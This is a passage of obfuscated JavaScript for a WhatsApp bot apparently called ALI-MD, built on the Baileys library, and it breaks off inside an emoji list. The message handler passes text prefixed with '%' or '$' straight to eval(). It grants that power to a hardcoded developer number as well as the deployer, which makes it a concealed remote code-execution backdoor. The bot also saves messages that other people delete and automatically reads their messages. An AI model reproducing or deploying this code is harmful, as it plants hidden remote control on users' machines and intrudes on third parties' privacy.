_0xb29549=(function(){let _0x51333f=!![];return function(_0x56cd4c,_0x1fbdcf){const _0x22015a=_0x51333f?function(){const _0x17bbb8=_0x9a22;if(_0x1fbdcf){const _0x4a7248=_0x1fbdcf[_0x17bbb8(0x1c6)](_0x56cd4c,arguments);return _0x1fbdcf=null,_0x4a7248;}}:function(){};return _0x51333f=![],_0x22015a;};}()),_0x535323=_0xb29549(this,function(){const _0x4cddf3=_0x9a22;let _0x380b0c;try{const _0x5b0b8f=Function(_0x4cddf3(0x2e1)+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x380b0c=_0x5b0b8f();}catch(_0x2e8608){_0x380b0c=window;}const _0x1f56c8=_0x380b0c[_0x4cddf3(0x2e7)]=_0x380b0c['console']||{},_0x9d5e6e=[_0x4cddf3(0x33d),_0x4cddf3(0x345),_0x4cddf3(0x360),_0x4cddf3(0x320),'exception',_0x4cddf3(0x356),_0x4cddf3(0x28f)];for(let _0x2fb932=0x0;_0x2fb932<_0x9d5e6e[_0x4cddf3(0x25c)];_0x2fb932++){const _0x4ba7d5=_0xb29549[_0x4cddf3(0x263)][_0x4cddf3(0x354)][_0x4cddf3(0x254)](_0xb29549),_0x24c444=_0x9d5e6e[_0x2fb932],_0x556c10=_0x1f56c8[_0x24c444]||_0x4ba7d5;_0x4ba7d5[_0x4cddf3(0x1b5)]=_0xb29549[_0x4cddf3(0x254)](_0xb29549),_0x4ba7d5['toString']=_0x556c10[_0x4cddf3(0x32b)]['bind'](_0x556c10),_0x1f56c8[_0x24c444]=_0x4ba7d5;}});_0x535323();const {default:makeWASocket,useMultiFileAuthState,DisconnectReason,jidNormalizedUser,isJidBroadcast,getContentType,proto,generateWAMessageContent,generateWAMessage,AnyMessageContent,prepareWAMessageMedia,areJidsSameUser,downloadContentFromMessage,MessageRetryMap,generateForwardMessageContent,generateWAMessageFromContent,generateMessageID,makeInMemoryStore,jidDecode,fetchLatestBaileysVersion,Browsers}=require('@whiskeysockets/baileys'),l=console[_0x301f9c(0x33d)],{getBuffer,getGroupAdmins,getRandom,h2k,isUrl,Json,runtime,sleep,fetchJson}=require(_0x301f9c(0x1e5)),{AntiDelDB,initializeAntiDeleteSettings,setAnti,getAnti,getAllAntiDeleteSettings,saveContact,loadMessage,getName,getChatSummary,saveGroupMetadata,getGroupMetadata,saveMessageCount,getInactiveGroupMembers,getGroupMembersMessageCount,saveMessage}=require(_0x301f9c(0x369)),fs=require('fs'),ff=require(_0x301f9c(0x290)),P=require(_0x301f9c(0x326)),config=require(_0x301f9c(0x228)),GroupEvents=require(_0x301f9c(0x2b8)),qrcode=require(_0x301f9c(0x209)),StickersTypes=require('wa-sticker-formatter'),util=require(_0x301f9c(0x305)),{sms,downloadMediaMessage,AntiDelete}=require(_0x301f9c(0x1be)),FileType=require(_0x301f9c(0x367)),axios=require(_0x301f9c(0x2cb)),{File}=require(_0x301f9c(0x242)),{fromBuffer}=require('file-type'),bodyparser=require(_0x301f9c(0x29a)),os=require('os'),Crypto=require('crypto'),path=require(_0x301f9c(0x1b6)),prefix=config['PREFIX'],mode=config[_0x301f9c(0x1c5)],online=config[_0x301f9c(0x1af)],status=config['AUTO_STATUS_SEEN'],ownerNumber=['923003588997'],tempDir=path[_0x301f9c(0x30f)](os[_0x301f9c(0x22e)](),_0x301f9c(0x236));!fs[_0x301f9c(0x221)](tempDir)&&fs[_0x301f9c(0x2a8)](tempDir);const clearTempDir=()=>{fs['readdir'](tempDir,(_0x4cbf45,_0x3f5dc1)=>{const _0x44e32b=_0x9a22;if(_0x4cbf45)throw _0x4cbf45;for(const _0x413cfc of _0x3f5dc1){fs[_0x44e32b(0x23d)](path[_0x44e32b(0x30f)](tempDir,_0x413cfc),_0x4a1788=>{if(_0x4a1788)throw _0x4a1788;});}});};setInterval(clearTempDir,0x5*0x3c*0x3e8);if(!fs[_0x301f9c(0x221)](__dirname+_0x301f9c(0x32d))){if(!config[_0x301f9c(0x23f)])return console[_0x301f9c(0x33d)]('Please\x20add\x20your\x20session\x20to\x20SESSION_ID\x20env\x20!!');const sessdata=config[_0x301f9c(0x23f)]['replace'](_0x301f9c(0x229),''),filer=File[_0x301f9c(0x298)](_0x301f9c(0x352)+sessdata);filer[_0x301f9c(0x20c)]((_0x11541e,_0x385e08)=>{const _0x14a587=_0x301f9c;if(_0x11541e)throw _0x11541e;fs[_0x14a587(0x215)](__dirname+_0x14a587(0x32d),_0x385e08,()=>{console['log']('Session\x20downloaded\x20✅');});});}function _0x54e6(){const _0x307079=['🚵♂️','🧍♂️','🧑🔬','🚴♀️','messages.upsert','writeFileSync','🚶♀️','🧟♀️','🧑🦱','🕸️','🗨️','2265ScvUgr','👨🔧','trace','fluent-ffmpeg','👯♂️','👩🌾','🧘♀️','categories','👮♀️','👁️🗨️','🧎♂️','fromURL','🧜♂️','body-parser','[PLUGIN\x20ERROR]\x20','🚣♀️','🐈⬛','🏄♀️','alias','\x20as\x20read.','🧟♂️','🙆♀️','🇺🇸','😶🌫️','👨🦼','viewOnceMessage','headers','mkdirSync','🕴♂️','👩🎤','sendImageAsSticker','🤹♀️','private','alloc','set','🧑🦳','👨❤️💋👨','👩🚒','👨👨👦👦','👨🔬','trim','🇦🇺','string','./lib/groupevents','viewOnceMessageV2','ALI\x20MD\x20STARTED\x20✅','server','pattern','/sessions/','🏋️♂️','concat','🧙♀️','extendedTextMessage','Provide\x20me\x20with\x20a\x20query\x20to\x20run\x20Master!','stickerMessage','\x0aFN:','output','👩👩👧','🇨🇦','👩🦳','🏌️','env','axios','4HSDYnn','matchAll','🙎♀️','🛬️','🕵️♀️','🏋️♀️','OWNER_REACT','sender','👩👩👧👧','🤸♀️','⛹️♂️','👩🍼','🦸♂️','contextInfo','👨👧','👨💻','messages','🧝♀️','🤷♂️','downloadAndSaveMediaMessage','🧛♀️','return\x20(function()\x20','msg','👨💼','👨⚖️','3185682ybbmtF','ANTI_CALL','console','BEGIN:VCARD\x0aVERSION:3.0\x0aN:','🧑🎄','audio','AUTO_STATUS_MSG','🙅♂️','call','🏋️','relayMessage','🙍♀️','key','readViewOnce','photo','email','👁️','🧗♀️','name','true','👷♂️','getNumber','👩👩👦','🤦♂️','fromMe','🧑🦯','mimetype','group-participants.update','1435049jzqEcH','search','👳♂️','loggedOut','util','send5ButImg','🧜♀️','AUTO_STATUS_REACT','toLowerCase','\x0a}\x0aa()','🧑🚒','🤽♂️','isBuffer','🤹♂️','join','🤷♀️','🧔♂️','👨👨👧','🧞♂️','text','open','🧑🦰','👱♂️','2408571floWir','👨✈️','🙇♂️','👨👦👦','*\x0a*│•\x20𝐕𝐄𝐑𝐒𝐈𝐎𝐍\x20:\x20𝟒.𝟎.𝟎*\x0a*┗───━━━━───━━━━──┉┈⚆*','location','document','mtype','error','👩👧','🛫️','💂♀️','get','parseMention','pino','silent','👩🎓','🧑✈️','👩🔧','toString','\x0aitem1.X-ABLabel:Click\x20here\x20to\x20chat\x0aitem2.EMAIL;type=INTERNET:','/sessions/creds.json','👩⚕️','🧑💼','🧑🎤','🇪🇸','viewOnce','9230035588997','base64','.js','🧑🎨','🏊♀️','923003588997','👩❤️👩','👨🌾','💇♂️','downloadMediaMessage','log','readFileSync','👩👩👧👦','remoteJid','keys','sendTextWithMentions','sendButtonText','🏃♀️','warn','find','👩❤️👨','👨⚕️','🧑🦽','slice','👨🏭','🇵🇰','copyNForward','🐻❄️','👨🍼','Connecting\x20to\x20WhatsApp\x20⏳️...','sendImage','https://mega.nz/file/','update','prototype','🧑🚀','table','👩💼','application/octet-stream','videoMessage','🙍♂️','*\x0a*│•\x20𝐌𝐎𝐃𝐄\x20:\x20','🧚♂️','🏊♂️','replace','https://i.ibb.co/LDLMs949/lordali.jpg','info','👨🎓','offer','AUTO_STATUS_REPLY','👰♀️','👨❤️👨','🕵️','file-type','👳♀️','./data','👷♀️','🚴♂️','react','forEach','👨🦯','/khan-xmd\x0aitem3.X-ABLabel:GitHub\x0aitem4.ADR:;;','🧑💻','🕯️','readMessages','🧑🤝🧑','🍁🦺','getName','ext','0@s.whatsapp.net','15642xhMswA','8WjeIlD','🤸♂️','👯♀️','👩🦱','Marked\x20message\x20from\x20','notify','🦸♀️','🧑🏫','👩👧👦','👨👧👧','groupMetadata','🕊️','6072160FzYoML','author','🏞️','head','👨🍳','⛹️♀️','👨🦽','floor','ALWAYS_ONLINE','🇬🇧','👩👦👦','gif','type','withoutContact','__proto__','path','👩👩👦👦','github','query','💂♂️','map','🏄♂️','express','./lib','💆♂️','decodeJid','👨👧👦','object','🧔♀️','Anti-call\x20error:','MODE','apply','Bot\x20connected\x20to\x20whatsapp\x20✅','rejectCall','statusCode','caption','promises','./plugins/','commands','👨👦','endsWith','\x0aitem2.X-ABLabel:GitHub\x0aitem3.URL:https://github.com/','👩🔬','❤️🩹','🇫🇷','CUSTOM_REACT','groups','.bin','🧑🏭','🇯🇵','👩🦽','🧑🍳','random','listen','142261kxRhFY','fromBuffer','./exif','CUSTOM_REACT_EMOJIS','asSticker','test','inbox','*𝐇𝐄𝐋𝐋𝐎\x20𝐓𝐇𝐄𝐑𝐄\x20𝐀𝐋𝐈-𝐌𝐃\x20𝐁𝐎𝐓👑*\x0a*𝐂𝐎𝐍𝐍𝐄𝐂𝐓𝐄𝐃\x20𝐒𝐔𝐂𝐂𝐄𝐒𝐒𝐅𝐔𝐋𝐋𝐘!*\x0a\x20\x20\x0a*╭───━━━━───━━━━──┉┈⚆*\x0a*│•\x20𝐓𝐘𝐏𝐄\x20.𝐌𝐄𝐍𝐔\x20𝐓𝐎\x20𝐒𝐄𝐄\x20𝐋𝐈𝐒𝐓\x20•*\x0a*│•\x20𝐁𝐎𝐓\x20𝐀𝐌𝐀𝐙𝐈𝐍𝐆\x20𝐅𝐄𝐀���𝐔𝐑𝐄𝐒\x20•*\x0a*│•\x20🌸𝐃𝐄𝐕𝐄𝐋𝐎𝐏𝐄𝐑\x20:\x20𝐀ɭīī\x20𝐈ƞ̄x̷īīɖ𝛆̽*\x0a*│•\x20⏰𝐀𝐋𝐖𝐀𝐘𝐒\x20𝐎𝐍𝐋𝐈𝐍𝐄\x20:\x20','./lib/functions','🏌️♀️','message','🧑🦲','(((.+)+)+)+$','🤼♀️','🧎♀️','🕷️','serializeM','quotedMessage','👩🍳','function','🧖♂️','international','🧗♂️','👨🎨','🕳️','🧛♂️','packname','REJECT_MSG','🚣♂️','imageMessage','format','\x20Contact','🐿️','💇♀️','🚵♀️','👨👩👦👦','🥲,😂,👍🏻,🙂,😔','ephemeralMessage','🚶♂️','👮♂️','👨👩👦','🦹♀️','👩🚀','participants','qrcode-terminal','👨🦱','👨👩👧👦','download','💁♂️','🙋♀️','🤽♀️','🧑🌾','READ_MESSAGE','@g.us','🙅♀️','status@broadcast','writeFile','parse','🙇♀️','macOS','👨👩👧👧','connection.update','participant','Plugins\x20installed\x20successful\x20✅','👩❤️💋👩','🙎♂️','👨🦰','👨🚀','existsSync','sticker','fromObject','🗯️','video','Safari','👩🏫','./config','ALI-MD~','🧑🔧','includes','content-type','WhatsApp','tmpdir','status','user','asDocument','📽️','application/pdf','👨👨👧👦','🧘♂️','cache-temp','subject','🧍♀️','🧖♀️','🤦♀️','image','conversation','unlink','Sin\x20Nombre','SESSION_ID','🤵♂️','from','megajs',';;;;\x0aitem4.X-ABLabel:Region\x0aEND:VCARD','body','contacts','🏃♂️','🧑🎓','👨🦲','👩👧👧','image/webp','readdirSync','🙋♂️','🕵️♂️','🖐️','😵💫','🤼♂️','🧏♀️','💁♀️','Call\x20rejected\x20and\x20message\x20sent\x20to\x20','bind','./exif.js','🦹♂️','💆♀️','🧑⚕️','startsWith','🤾♀️','👩🦰','length','split','👨👨👦','🧑🦼','👩🏭','🧑🍼','🧝♂️','constructor','const\x20a\x20=\x20async()=>{\x0a','🗣️','🧞♀️','🤾♂️','👩🎨','👩✈️','🧙♂️','🎗️','🌦️','\x0aitem1.TEL;waid=','👱♀️','1853464oqLjXg','👩🦲','🧏♂️','Message','getFile','🧚♀️','👩❤️💋👨','sendMessage','sendContact','🧑⚖️','🏌️♂️','@s.whatsapp.net','👰♂️','🤵♀️','🙆♂️','🕴️','❤️🔥','👩⚖️','👩🦯'];_0x54e6=function(){return _0x307079;};return _0x54e6();}function _0x9a22(_0x13dcff,_0x21f6c6){const _0x37f673=_0x54e6();return _0x9a22=function(_0x535323,_0xb29549){_0x535323=_0x535323-0x1a2;let _0x11df24=_0x37f673[_0x535323];return _0x11df24;},_0x9a22(_0x13dcff,_0x21f6c6);}const express=require(_0x301f9c(0x1bd)),app=express(),port=process[_0x301f9c(0x2ca)]['PORT']||0x2382;async function connectToWA(){const _0x4fa459=_0x301f9c;console[_0x4fa459(0x33d)](_0x4fa459(0x350));const {state:_0x57460f,saveCreds:_0x1d9a5c}=await useMultiFileAuthState(__dirname+_0x4fa459(0x2bd));var {version:_0x490c3c}=await fetchLatestBaileysVersion();const _0x56ac80=makeWASocket({'logger':P({'level':_0x4fa459(0x327)}),'printQRInTerminal':![],'browser':Browsers[_0x4fa459(0x218)](_0x4fa459(0x226)),'syncFullHistory':!![],'auth':_0x57460f,'version':_0x490c3c});_0x56ac80['ev']['on'](_0x4fa459(0x21a),_0xa3de77=>{const _0x380541=_0x4fa459,{connection:_0xf4573c,lastDisconnect:_0x14a5b7}=_0xa3de77;if(_0xf4573c==='close')_0x14a5b7[_0x380541(0x320)][_0x380541(0x2c5)][_0x380541(0x1c9)]!==DisconnectReason[_0x380541(0x304)]&&connectToWA();else{if(_0xf4573c===_0x380541(0x315)){console['log']('🧬\x20Installing\x20Plugins');const _0x1660d6=require('path');fs[_0x380541(0x24b)](_0x380541(0x1cc))[_0x380541(0x36d)](_0x483c4e=>{const _0x5c3815=_0x380541;_0x1660d6['extname'](_0x483c4e)[_0x5c3815(0x309)]()==_0x5c3815(0x335)&&require(_0x5c3815(0x1cc)+_0x483c4e);}),console['log'](_0x380541(0x21c)),console['log'](_0x380541(0x1c7));let _0x535b9f=_0x380541(0x1e4)+online+'*\x0a*│•\x20📜𝐏𝐑𝐄𝐅𝐈𝐗\x20:\x20'+prefix+_0x380541(0x35b)+mode+'*\x0a*│•\x20🪄𝐒𝐓𝐀𝐓𝐔𝐒\x20𝐕𝐈𝐄𝐖𝐒\x20:\x20'+status+_0x380541(0x31c);_0x56ac80[_0x380541(0x276)](_0x56ac80['user']['id'],{'image':{'url':_0x380541(0x35f)},'caption':_0x535b9f});}}}),_0x56ac80['ev']['on']('creds.update',_0x1d9a5c),_0x56ac80['ev']['on'](_0x4fa459(0x2ed),async _0x18b7ac=>{const _0x48794d=_0x4fa459;try{if(config[_0x48794d(0x2e6)]!==_0x48794d(0x2f8))return;for(const _0x10efba of _0x18b7ac){if(_0x10efba[_0x48794d(0x22f)]!==_0x48794d(0x362))continue;const _0x1a0da2=_0x10efba['id'],_0x50d282=_0x10efba[_0x48794d(0x241)];await _0x56ac80[_0x48794d(0x1c8)](_0x1a0da2,_0x50d282),await _0x56ac80['sendMessage'](_0x50d282,{'text':config[_0x48794d(0x1f8)]||'*📞\x20ᴄαℓℓ\x20ɴσт\x20αℓℓσωє∂\x20ιɴ\x20тнιѕ\x20ɴᴜмвєʀ\x20уσυ\x20∂σɴт\x20нανє\x20ᴘєʀмιѕѕισɴ\x20📵*'}),console[_0x48794d(0x33d)](_0x48794d(0x253)+_0x50d282);}}catch(_0xe12ee9){console[_0x48794d(0x320)](_0x48794d(0x1c4),_0xe12ee9);}}),_0x56ac80['ev']['on']('messages.update',async _0x41021b=>{const _0x3b050a=_0x4fa459;for(const _0x4b46f0 of _0x41021b){_0x4b46f0[_0x3b050a(0x353)][_0x3b050a(0x1e7)]===null&&(console[_0x3b050a(0x33d)]('Delete\x20Detected:',JSON['stringify'](_0x4b46f0,null,0x2)),await AntiDelete(_0x56ac80,_0x41021b));}}),_0x56ac80['ev']['on'](_0x4fa459(0x300),_0x426226=>GroupEvents(_0x56ac80,_0x426226)),_0x56ac80['ev']['on'](_0x4fa459(0x286),async _0x1c9732=>{const _0x50c532=_0x4fa459;_0x1c9732=_0x1c9732[_0x50c532(0x2dc)][0x0];if(!_0x1c9732['message'])return;_0x1c9732[_0x50c532(0x1e7)]=getContentType(_0x1c9732[_0x50c532(0x1e7)])===_0x50c532(0x202)?_0x1c9732['message'][_0x50c532(0x202)][_0x50c532(0x1e7)]:_0x1c9732[_0x50c532(0x1e7)];config[_0x50c532(0x211)]===_0x50c532(0x2f8)&&(await _0x56ac80[_0x50c532(0x372)]([_0x1c9732[_0x50c532(0x2f1)]]),console[_0x50c532(0x33d)](_0x50c532(0x37d)+_0x1c9732[_0x50c532(0x2f1)]['remoteJid']+_0x50c532(0x2a0)));if(_0x1c9732[_0x50c532(0x1e7)][_0x50c532(0x2b9)])_0x1c9732['message']=getContentType(_0x1c9732[_0x50c532(0x1e7)])===_0x50c532(0x202)?_0x1c9732['message']['ephemeralMessage']['message']:_0x1c9732[_0x50c532(0x1e7)];_0x1c9732[_0x50c532(0x2f1)]&&_0x1c9732['key']['remoteJid']==='status@broadcast'&&config['AUTO_STATUS_SEEN']===_0x50c532(0x2f8)&&await _0x56ac80[_0x50c532(0x372)]([_0x1c9732[_0x50c532(0x2f1)]]);if(_0x1c9732[_0x50c532(0x2f1)]&&_0x1c9732[_0x50c532(0x2f1)][_0x50c532(0x340)]==='status@broadcast'&&config[_0x50c532(0x308)]===_0x50c532(0x2f8)){const _0x106566=await _0x56ac80['decodeJid'](_0x56ac80[_0x50c532(0x230)]['id']),_0x24a217=['❤️','💸','😇','🍂','💥','💯','🔥','💫','💎','💗','🤍','🖤','👀','🙌','🙆','🚩','🥰','💐','😎','🤎','✅','🫀','🧡','😁','😄','🌸',_0x50c532(0x1a6),'🌷','⛅','🌟','🗿',_0x50c532(0x34c),'💜','💙','🌝','🖤','🎎','🎏','🎐','⚽','🧣','🌿','⛈️',_0x50c532(0x26c),'🌚','🌝','🙈','🙉','🦖','🐤',_0x50c532(0x26b),'🥇','👾','🔫','🐝','🦋','🍓','🍫','🍭','🧁','🧃','🍿','🍻','🎀','🧸','👑','〽️','😳','💀','☠️','👻','🔥','♥️','👀','🐼'],_0x553bd7=_0x24a217[Math[_0x50c532(0x1ae)](Math[_0x50c532(0x1db)]()*_0x24a217[_0x50c532(0x25c)])];await _0x56ac80[_0x50c532(0x276)](_0x1c9732[_0x50c532(0x2f1)][_0x50c532(0x340)],{'react':{'text':_0x553bd7,'key':_0x1c9732[_0x50c532(0x2f1)]}},{'statusJidList':[_0x1c9732[_0x50c532(0x2f1)]['participant'],_0x106566]});}if(_0x1c9732[_0x50c532(0x2f1)]&&_0x1c9732['key']['remoteJid']===_0x50c532(0x214)&&config[_0x50c532(0x363)]===_0x50c532(0x2f8)){const _0x166ae8=_0x1c9732[_0x50c532(0x2f1)][_0x50c532(0x21b)],_0x4e54dc=''+config[_0x50c532(0x2eb)];await _0x56ac80[_0x50c532(0x276)](_0x166ae8,{'text':_0x4e54dc,'react':{'text':'💜','key':_0x1c9732[_0x50c532(0x2f1)]}},{'quoted':_0x1c9732});}await Promise['all']([saveMessage(_0x1c9732)]);const _0x1a54cd=sms(_0x56ac80,_0x1c9732),_0x28a36f=getContentType(_0x1c9732[_0x50c532(0x1e7)]),_0x45ad89=JSON['stringify'](_0x1c9732[_0x50c532(0x1e7)]),_0x46dd61=_0x1c9732[_0x50c532(0x2f1)][_0x50c532(0x340)],_0x2fc166=_0x28a36f==_0x50c532(0x2c1)&&_0x1c9732[_0x50c532(0x1e7)][_0x50c532(0x2c1)][_0x50c532(0x2d9)]!=null?_0x1c9732[_0x50c532(0x1e7)][_0x50c532(0x2c1)][_0x50c532(0x2d9)][_0x50c532(0x1ee)]||[]:[],_0x1b47c5=_0x28a36f===_0x50c532(0x23c)?_0x1c9732[_0x50c532(0x1e7)][_0x50c532(0x23c)]:_0x28a36f===_0x50c532(0x2c1)?_0x1c9732[_0x50c532(0x1e7)][_0x50c532(0x2c1)]['text']:_0x28a36f=='imageMessage'&&_0x1c9732[_0x50c532(0x1e7)][_0x50c532(0x1fa)][_0x50c532(0x1ca)]?_0x1c9732[_0x50c532(0x1e7)][_0x50c532(0x1fa)][_0x50c532(0x1ca)]:_0x28a36f==_0x50c532(0x359)&&_0x1c9732['message']['videoMessage'][_0x50c532(0x1ca)]?_0x1c9732[_0x50c532(0x1e7)][_0x50c532(0x359)][_0x50c532(0x1ca)]:'',_0x53c320=_0x1b47c5[_0x50c532(0x259)](prefix);var _0x5d5cb4=typeof _0x1c9732[_0x50c532(0x314)]=='string'?_0x1c9732[_0x50c532(0x314)]:![];const _0x25f21a=_0x53c320?_0x1b47c5[_0x50c532(0x34a)](prefix['length'])[_0x50c532(0x2b5)]()['split']('\x20')['shift']()['toLowerCase']():'',_0x4fffba=_0x1b47c5[_0x50c532(0x2b5)]()[_0x50c532(0x25d)](/ +/)['slice'](0x1),_0x5e3711=_0x4fffba['join']('\x20'),_0x15654b=_0x4fffba['join']('\x20'),_0x49325c=_0x46dd61[_0x50c532(0x1cf)](_0x50c532(0x212)),_0x2860ef=_0x1c9732[_0x50c532(0x2f1)][_0x50c532(0x2fd)]?_0x56ac80['user']['id'][_0x50c532(0x25d)](':')[0x0]+_0x50c532(0x27a)||_0x56ac80[_0x50c532(0x230)]['id']:_0x1c9732[_0x50c532(0x2f1)][_0x50c532(0x21b)]||_0x1c9732[_0x50c532(0x2f1)][_0x50c532(0x340)],_0x1e3d4b=_0x2860ef[_0x50c532(0x25d)]('@')[0x0],_0x55fcd1=_0x56ac80[_0x50c532(0x230)]['id'][_0x50c532(0x25d)](':')[0x0],_0x39f335=_0x1c9732['pushName']||_0x50c532(0x23e),_0x112cec=_0x55fcd1['includes'](_0x1e3d4b),_0x4d6166=ownerNumber['includes'](_0x1e3d4b)||_0x112cec,_0x18ac53=await jidNormalizedUser(_0x56ac80[_0x50c532(0x230)]['id']),_0x327db9=_0x49325c?await _0x56ac80['groupMetadata'](_0x46dd61)['catch'](_0x12db34=>{}):'',_0x4fa895=_0x49325c?_0x327db9['subject']:'',_0xc5c331=_0x49325c?await _0x327db9[_0x50c532(0x208)]:'',_0x2e4f3d=_0x49325c?await getGroupAdmins(_0xc5c331):'',_0xad31a4=_0x49325c?_0x2e4f3d[_0x50c532(0x22b)](_0x18ac53):![],_0x12f8fb=_0x49325c?_0x2e4f3d[_0x50c532(0x22b)](_0x2860ef):![],_0x5cff93=_0x1a54cd[_0x50c532(0x1e7)]['reactionMessage']?!![]:![],_0x4d7b2f=_0x5db3e7=>{const _0x52e7e3=_0x50c532;_0x56ac80[_0x52e7e3(0x276)](_0x46dd61,{'text':_0x5db3e7},{'quoted':_0x1c9732});},_0x1632b6=_0x55fcd1['split']('@')[0x0],_0x524645=_0x50c532(0x333);let _0xd24548=[_0x1632b6,_0x524645,config['DEV']][_0x50c532(0x1bb)](_0x5f3087=>_0x5f3087[_0x50c532(0x35e)](/[^0-9]/g)+_0x50c532(0x27a))[_0x50c532(0x22b)](_0x1c9732[_0x50c532(0x2d3)]);if(_0xd24548&&_0x1c9732['text'][_0x50c532(0x259)]('%')){let _0x472cd3=_0x5d5cb4['slice'](0x2);if(!_0x472cd3){_0x4d7b2f(_0x50c532(0x2c2));return;}try{let _0x4baf98=eval(_0x472cd3);if(typeof _0x4baf98===_0x50c532(0x1c2))_0x4d7b2f(util['format'](_0x4baf98));else _0x4d7b2f(util['format'](_0x4baf98));}catch(_0x487fd0){_0x4d7b2f(util[_0x50c532(0x1fb)](_0x487fd0));}return;}if(_0xd24548&&_0x1c9732[_0x50c532(0x314)][_0x50c532(0x259)]('$')){let _0xa63a22=_0x5d5cb4[_0x50c532(0x34a)](0x2);if(!_0xa63a22){_0x4d7b2f(_0x50c532(0x2c2));return;}try{let _0x212fb6=await eval(_0x50c532(0x264)+_0xa63a22+_0x50c532(0x30a)),_0x370124=util[_0x50c532(0x1fb)](_0x212fb6);if(_0x370124===undefined)return console[_0x50c532(0x33d)](_0x370124);else _0x4d7b2f(_0x370124);}catch(_0x55cd08){if(_0x55cd08===undefined)return console[_0x50c532(0x33d)](_0x50c532(0x320));else _0x4d7b2f(util[_0x50c532(0x1fb)](_0x55cd08));}return;}if(_0x1e3d4b[_0x50c532(0x22b)](_0x50c532(0x338))){if(_0x5cff93)return;_0x1a54cd[_0x50c532(0x36c)]('');}if(_0x1e3d4b[_0x50c532(0x22b)](_0x50c532(0x338))){if(_0x5cff93)return;_0x1a54cd[_0x50c532(0x36c)]('');}if(_0x1e3d4b[_0x50c532(0x22b)](_0x50c532(0x338))){if(_0x5cff93)return;_0x1a54cd[_0x50c532(0x36c)]('');}if(_0x1e3d4b[_0x50c532(0x22b)](_0x50c532(0x338))){if(_0x5cff93)return;_0x1a54cd[_0x50c532(0x36c)]('');}if(_0x1e3d4b[_0x50c532(0x22b)](_0x50c532(0x338))){if(_0x5cff93)return;_0x1a54cd[_0x50c532(0x36c)]('');}if(_0x1e3d4b[_0x50c532(0x22b)](_0x50c532(0x338))){if(_0x5cff93)return;_0x1a54cd[_0x50c532(0x36c)]('');}if(_0x1e3d4b['includes'](_0x50c532(0x338))){if(_0x5cff93)return;_0x1a54cd[_0x50c532(0x36c)]('');}if(!_0x5cff93&&_0x1e3d4b!==_0x55fcd1){if(config['AUTO_REACT']===_0x50c532(0x2f8)){const _0x32b63d=['😊','👍','😂','💯','🔥','🙏','🎉','👏','😎','🤖','👫','👭','👬','👮','🕴️','💼','📊','📈','📉','📊','📝','📚','📰','📱','💻','📻','📺','🎬',_0x50c532(0x232),'📸','📷',_0x50c532(0x371),'💡','🔦','🔧','🔨','🔩','🔪','🔫','👑','👸','🤴','👹','🤺','🤻','👺','🤼','🤽','🤾','🤿','🦁','🐴','🦊','🐺','🐼','🐾','🐿','🦄','🦅','🦆','🦇','🦈','🐳','🐋','🐟','🐠','🐡','🐙','🐚','🐜','🐝','🐞',_0x50c532(0x1ec),'🦋','🐛','🐌','🐚','🌿','🌸','💐','🌹','🌺','🌻','🌴','🏵','🏰','🏠','🏡','🏢','🏣','🏥','🏦','🏧','🏨','🏩','🏪','🏫','🏬','🏭','🏮','🏯','🚣','🛥','🚂','🚁','🚀','🛸','🛹','🚴','🚲','🛺','🚮','🚯','🚱','🚫','🚽',_0x50c532(0x1f5),'💣','🔫',_0x50c532(0x1ec),'🕸️','💀','👻','🕺','💃',_0x50c532(0x27e),'👶','👵','👴','👱','👨','👩','👧','👦','👪','👫','👭','👬','👮',_0x50c532(0x27e),'💼','📊','📈','📉','📊','📝','📚','📰','📱','💻','📻','📺','🎬','📽️','📸','📷',_0x50c532(0x371),'💡','🔦','🔧','🔨','🔩','🔪','🔫','👑','👸','🤴','👹','🤺','🤻','👺','🤼','🤽','🤾','🤿','🦁','🐴','🦊','🐺','🐼','🐾','🐿','🦄','🦅','🦆','🦇','🦈','🐳','🐋','🐟','🐠','🐡','🐙','🐚','🐜','🐝','🐞',_0x50c532(0x1ec),'🦋','🐛','🐌','🐚','🌿','🌸','💐','🌹','🌺','🌻','🌴','🏵','🏰','🏠','🏡','🏢','🏠','🏡','🏢','🏣','🏥','🏦','🏧','🏨','🏩','🏪','🏫','🏬','🏭','🏮','🏯','🚣','🛥','🚂','🚁','🚀','🛸','🛹','🚴','🚲','🛺','🚮','🚯','🚱','🚫','🚽','🕳️','💣','🔫',_0x50c532(0x1ec),'🕸️','💀','👻','🕺','💃',_0x50c532(0x27e),'👶','👵','👴','👱','👨','👩','👧','👦','👪','👫','👭','👬','👮',_0x50c532(0x27e),'💼','📊','📈','📉','📊','📝','📚','📰','📱','💻','📻','📺','🎬',_0x50c532(0x232),'📸','📷',_0x50c532(0x371),'💡','🔦','🔧','🔨','🔩','🔪','🔫','👑','👸','🤴','👹','🤺','🤻','👺','🤼','🤽','🤾','🤿','🦁','🐴','🦊','🐺','🐼','🐾','🐿','🦄','🦅','🦆','🦇','🦈','🐳','🐋','🐟','🐠','🐡','🐙','🐚','🐜','🐝','🐞',_0x50c532(0x1ec),'🦋','🐛','🐌','🐚','🌿','🌸','💐','🌹','🌺','🌻','🌴','🏵','🏰','🏠','🏡','🏢','🏣','🏥','🏦','🏧','🏨','🏩','🏪','🏫','🏬','🏭','🏮','🏯','🚣','🛥','🚂','🚁','🚀','🛸','🛹','🚴','🚲','🛺','🚮','����','🚱','🚫','🚽',_0x50c532(0x1f5),'💣','🔫','🕷️',_0x50c532(0x28b),'💀','👻','🕺','💃',_0x50c532(0x27e),'👶','👵','👴','👱','👨','👩','👧','👦','👪','🙂','😑','🤣','😍','😘','😗','😙','😚','😛','😝','😞','😟','😠',_0x50c532(0x1ec),'😢','😭','😓','😳','😴','😌','😆','😂','🤔','😒','😓','😶','🙄','⚡','🐱','🐔','🐷','🐴','🐲','🐸','🐳','🐋','🐒','🐑','🍁','🐩','🍔','🍕','🥤','🍣','🍲','🍴','🍽','🍹','🍸','🎂','📱','📺','📻','🎤','📚','💻','📸','📷','❤️','💔','❣️','☀️','🌙','🌃','🏠','🚪',_0x50c532(0x2a3),_0x50c532(0x1b0),_0x50c532(0x2c7),_0x50c532(0x2b6),_0x50c532(0x1d8),'🇫🇷',_0x50c532(0x331),'👍','👎','👏','👫','👭','👬','👮','🤝','🙏','👑','🌻','🌺','🌸','🌹','🌴','🏞️','🌊','🚗','🚌','🛣️',_0x50c532(0x322),_0x50c532(0x2cf),'🚣','🛥','🚂','🚁','🚀',_0x50c532(0x246),_0x50c532(0x2d1),_0x50c532(0x35d),_0x50c532(0x1bc),'🎾','🏀','🏈','🎯','🏆','??','⬆️','⬇️','⇒','⇐','↩️','↪️','ℹ️','‼️','⁉️','‽️','©️','®️','™️','🔴','🔵','🟢'